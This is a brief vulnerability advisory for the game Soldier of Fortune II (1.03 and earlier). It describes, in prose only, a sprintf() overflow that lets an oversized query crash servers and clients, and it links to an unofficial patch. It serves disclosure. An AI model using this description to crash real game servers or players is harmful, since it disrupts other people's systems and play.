  Soldier of Fortune II Broadcast Memory Corruption Bug
------------------------------------------------------------------------


SUMMARY

Soldier of Fortune II is a widely played FPS game developed by  
<http://www.ravensoft.com> Raven Software and released at May 2002.

A denial of service attack is possible on the server when issuing a very 
large but valid query, the effects of which are an immediate match 
interruption and possible crash of the server itself.

DETAILS

Vulnerable Systems:
 * Soldier Of Fortune II versions 1.03 and prior

The game is affected by a sprintf() overflow when handling a very big 
valid query or reply (in case it acts as server or client). However it 
doesn't seem possible to execute remote code, only to corrupt the server 
process' memory.

The effects on the server can be the immediate match interruption 
(shutdown) caused by overwriting of game data or a crash (that doesn't 
happen on the Linux dedicated server), depending on the amount of data 
received from the attacker.

The client part of the game also suffers from such a vulnerability, 
allowing any attacker in the game world to crash any other client by 
issuing a very long query.

Patch Availability:
The vendor hasn't fixed the issue and hasn't replied as well but an 
unofficial patch by Luigi fixes the problem and can be downloaded from:
 <http://aluigi.altervista.org/patches/sof2-103-fix.zip>
